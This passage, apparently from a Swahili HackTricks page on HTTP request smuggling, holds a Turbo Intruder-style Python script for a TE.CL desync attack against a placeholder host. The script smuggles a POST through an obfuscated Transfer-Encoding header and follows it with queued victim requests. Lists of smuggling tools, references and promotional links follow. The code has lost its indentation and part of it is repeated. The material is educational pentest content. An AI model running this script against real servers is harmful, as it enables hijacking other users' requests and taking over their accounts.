for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Kutoka: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Vifaa

• https://github.com/anshumanpattnaik/http-request-smuggling
• https://github.com/PortSwigger/http-request-smuggler
• https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
• https://github.com/defparam/smuggler
• https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Kifaa hiki ni Fuzzer ya HTTP inayotumia sarufi na inayofaa kutafuta tofauti za kushangaza katika udukuzi wa ombi.

Marejeo

• https://portswigger.net/web-security/request-smuggling
• https://portswigger.net/web-security/request-smuggling/finding
• https://portswigger.net/web-security/request-smuggling/exploiting
• https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
• https://github.com/haroonawanofficial/HTTP-Desync-Attack/
• https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
• https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

• Ikiwa unataka kuona kampuni yako inayotangazwa katika HackTricks au kupakua HackTricks katika PDF Angalia MPANGO WA KUJIUNGA!
• Pata swag rasmi wa PEASS & HackTricks
• Gundua The PEASS Family, mkusanyiko wetu wa NFTs ya kipekee
• Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
• Shiriki mbinu zako za udukuzi kwa kuwasilisha PR kwa HackTricks na HackTricks Cloud github repos.